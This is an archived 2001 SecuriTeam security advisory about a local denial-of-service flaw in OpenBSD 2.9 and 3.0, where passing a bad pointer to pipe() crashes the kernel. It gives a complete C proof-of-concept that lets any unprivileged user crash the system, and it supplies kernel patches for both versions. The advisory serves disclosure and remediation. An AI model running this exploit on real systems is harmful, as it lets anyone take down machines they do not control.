[EXPL] OpenBSD Local DoS (Bad Syscalls Releases)

From: support@securiteam.com
Date: 12/10/01


From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 10 Dec 2001 09:20:41 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  OpenBSD Local DoS (Bad Syscalls Releases)
------------------------------------------------------------------------

SUMMARY

OpenBSD is vulnerable to a DoS attack. The effect of this attack is the
crashing of the whole operating system. The attacking user does not have
to be root to launch this DoS attack.

DETAILS

Vulnerable systems:
OpenBSD 2.9
OpenBSD 3.0

Exploit:
The following code will crash the kernel regardless of user privilege
(root or non-root).

# cat crashme.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdarg.h>
#include <syslog.h>

/* globals */
int fd[8]; /* temp pipe file descriptors */
int fd_real[4]; /* real pipe's */

static int __DEBUG__ = 0;
static int __SYSLOG__ = 0;

void enable_debug(void)
{
         __DEBUG__ = 1;
}

void disable_debug(void)
{
         __DEBUG__ = 0;
}

void enable_syslog(void)
{
         __SYSLOG__ = 1;
}

void disable_syslog(void)
{
         __SYSLOG__ = 0;
}

void s_fprintf(FILE *file, const char *fmt, ...)
{
         va_list ap;

         if (__DEBUG__) {
                 fflush(file);

                 va_start(ap, fmt);
                 vfprintf(file, fmt, ap);
                 va_end(ap);

                 fflush(file);
         }

         if (__SYSLOG__) {
                 va_start(ap, fmt);
                 vsyslog(LOG_INFO, fmt, ap);
                 va_end(ap);
         }
}

void *s_malloc(size_t size)
{
         char serr[40]; /* can not allocate more mem so lets use this
ugly beast */
         void *p;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
getpid(), getppid(), size);
         }

         if ((p = malloc(size)) == NULL ) {
                 sprintf(serr,"PID=%i, Could not allocate memory",
getpid());
                 perror(serr);
                 exit(6);
         }

         return p;
}

void s_perror(const char *str)
{
         char *buf;

         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
getpid(), getppid(), str);
         }

         buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
         sprintf(buf, "PID=%-5i %s", getpid(), str);
         perror(buf);

         free(buf);
}

void s_pipe(int *fd)
{
         if (__DEBUG__ || __SYSLOG__) {
                 s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
getpid(), getppid(), (unsigned int)fd);
         }

         if (pipe(fd) == -1)
         {
                 s_perror("Could not create pipe");
                 exit(3);
         }
}

int main(int argc, char **argv)
{
         enable_debug();
         enable_syslog();

         fprintf(stderr, "Before pipe\n");
         s_pipe(NULL); /* test if s_pipe exits */
         fprintf(stderr, "Will never reach this\n");

         return 0;
}

You can also try this one:
# cat a.c
int main(int argc, char **argv)
{
         if (pipe(0) == -1)
         {
                 perror("kloink");
                 exit(1);
         }
         return 0;
}

This however does not crash the kernel. That rather explains why it went
undetected.

Here is the patch for OpenBSD 3.0:
# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec 2 10:48:21 2001
+++ uipc_syscalls.c Sun Dec 2 10:48:48 2001
@@ -903,8 +903,8 @@
         error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
             2 * sizeof (int));
         if (error) {
- fdrelease(p, retval[0]);
- fdrelease(p, retval[1]);
+ fdrelease(p, rval[0]);
+ fdrelease(p, rval[1]);
         }
         return (error);
  }

Here is a patch for OpenBSD 2.9:
# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec 2 11:00:51 2001
+++ uipc_syscalls.c Sun Dec 2 11:01:17 2001
@@ -886,8 +886,8 @@
         error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
             2 * sizeof (int));
         if (error) {
- fdrelease(p, retval[0]);
- fdrelease(p, retval[1]);
+ fdrelease(p, rval[0]);
+ fdrelease(p, rval[1]);
         }
         return (error);
  }

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@rapid7.com> Rapid 7
Security Advisories and <mailto:marcodsl@swbell.net> Marco Peereboom.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • OpenBSD local DoS
    ... A local denial of service attack against OpenBSD ... Code that crashes kernel at will + proposed patch ... void disable_debug ... pckbd0 at pckbc0 ...
    (Bugtraq)
  • switch arc4random to chacha
    ... This syncs libc arc4random.c with OpenBSD, ... -static void arc4_stir; ... QUARTERROUND(x2, x6,x10,x14) ...
    (freebsd-hackers)
  • [PATCH 2.6.19-rc1 V9] drivers: add LCD support
    ... Adds support for the ks0108 LCD Controller as a device driver. ... +The buffer should be a 128*64 unsigned char array: ... * GNU General Public License for more details. ... +static void cfag12864b_setbit ...
    (Linux-Kernel)
  • [PATCH 2.6.19-rc1 V9] drivers: add LCD support
    ... Adds support for the ks0108 LCD Controller as a device driver. ... +The buffer should be a 128*64 unsigned char array: ... * GNU General Public License for more details. ... +static void cfag12864b_setbit ...
    (Linux-Kernel)
  • Re: back once again...
    ... reference to type ... a, signed char ... int dycObjectP(dyt obj); ... void dycBeginClass; ...
    (comp.lang.misc)